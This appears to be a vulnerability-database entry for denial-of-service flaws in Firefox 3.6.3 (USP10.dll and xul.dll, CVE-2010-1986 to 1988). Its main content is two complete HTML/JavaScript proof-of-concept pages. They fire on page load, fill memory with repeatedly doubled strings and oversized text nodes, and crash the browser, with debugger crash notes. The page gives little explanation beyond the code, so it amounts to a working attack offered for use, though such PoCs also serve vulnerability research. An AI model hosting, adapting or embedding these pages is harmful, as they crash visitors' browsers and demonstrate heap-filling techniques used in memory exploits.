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Mozilla Firefox 3.6.3 USP10.dll和xul.dll库多个拒绝服务漏洞
| Reporter | Title | Published | Views | Family All 20 |
|---|---|---|---|---|
 | CVE-2010-1987 | 20 May 201017:30 | – | attackerkb |
| CVE-2010-1986 | 20 May 201017:30 | – | attackerkb |
| CVE-2010-1988 | 20 May 201017:30 | – | attackerkb |
 | CVE-2010-1986 | 20 May 201017:00 | – | cve |
| CVE-2010-1987 | 20 May 201017:00 | – | cve |
| CVE-2010-1988 | 20 May 201017:00 | – | cve |
 | CVE-2010-1986 | 20 May 201017:00 | – | cvelist |
| CVE-2010-1987 | 20 May 201017:00 | – | cvelist |
| CVE-2010-1988 | 20 May 201017:00 | – | cvelist |
 | EUVD-2010-2005 | 7 Oct 202500:30 | – | euvd |
10
[PoC #1 - firefox_3.6.3_dos_poc_1.htm]
<HTML>
<HEAD>
<SCRIPT LANGUAGE="javascript">
function append_text_into_body()
{
var p1 = document.getElementById('p1');
var Text1 = "";
var TextNode = null;
// Trigger! MakeFont... into p element on body element.
for(var i = 0; i < 0x700000 / 4; i++)
{
Text1 = Text1 + "AAAA";
}
TextNode = document.createTextNode(Text1);
p1.appendChild(TextNode); // Memory Exhaustion makes FireFox can't make Texts it caused an crash.
}
var arr1, arr2, arr3, arr4, arr5;
var a = 1;
var timer;
function fill_all_memory()
{
var chunk = unescape("%u4141%u4141");
var i = 0;
if( a > 5 )
{
a++;
}
if(a >= 30)
{
append_text_into_body();
}
while(chunk.length <= 0x400000)
{
chunk = chunk + chunk;
}
chunk = chunk + chunk + chunk;
chunk = chunk.substring(0, chunk.length);
if(a == 1)
{
arr1 = new Array();
for(i = 0; i < 0xd0; i++)
{
arr1[i] = chunk;
}
a = 2;
}
else if(a == 2)
{
arr2 = new Array();
for(i = 0; i < 0xd0; i++)
{
arr2[i] = chunk;
}
a = 3;
}
else if(a == 3)
{
arr3 = new Array();
for(i = 0; i < 0xd0; i++)
{
arr3[i] = chunk;
}
a = 4;
}
else if(a == 4)
{
arr4 = new Array();
for(i = 0; i < 0xd0; i++)
{
arr4[i] = chunk;
}
a = 5;
}
else if(a == 5)
{
arr5 = new Array();
for(i = 0; i < 0xd0; i++)
{
arr5[i] = chunk;
}
a = 6;
}
}
function try_fill()
{
fill_all_memory();
setTimeout("try_fill();", 500);
}
</SCRIPT>
</HEAD>
<BODY onload="try_fill();">
<P id='p1'></P>
</BODY>
</HTML>
[PoC #2 - firefox_3.6.3_dos_poc_2.htm] --
<HTML>
<HEAD>
<SCRIPT LANGUAGE="javascript">
function append_text_into_body()
{
var p1 = document.getElementById('p1');
var Text1 = "";
var TextNode = null;
// Trigger! MakeFont... into p element on body element.
for(var i = 0; i < 0x700000 / 4; i++)
{
Text1 = Text1 + "AAAA";
}
TextNode = document.createTextNode(Text1);
p1.appendChild(TextNode); // Memory Exhaustion makes FireFox can't make Texts it caused an crash.
}
var a = 1;
var timer;
function fill_all_memory() // This function's variation can makes an null pointer deref without append_text_into_body() calling.
{
var chunk = unescape("%u4141%u4242");
var i = 0;
append_text_into_body();
while(chunk.length <= 0x400000)
{
chunk = chunk + chunk;
}
chunk = chunk + chunk + chunk;
chunk = chunk.substring(0, chunk.length);
}
function try_fill()
{
fill_all_memory();
// this poc makes 99% almost crashed same location as below.
// 10: USP10!DoubleWideCharMappedString::operator[]+0x1f:
// 73f937cd 0fb70448 movzx eax,word ptr [eax+ecx*2] ds:0023:00133000=????
// 100: ''
// 150: ''
// 200: ''
// 300: ''
// 500: ''
// 1000: ''
// 5000: ''
setTimeout("try_fill();", 10);
}
</SCRIPT>
</HEAD>
<BODY onload="try_fill();">
<P id='p1'></P>
</BODY>
</HTML>
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24 May 2010 00:00Current
6.4Medium risk
Vulners AI Score6.4
EPSS0.07147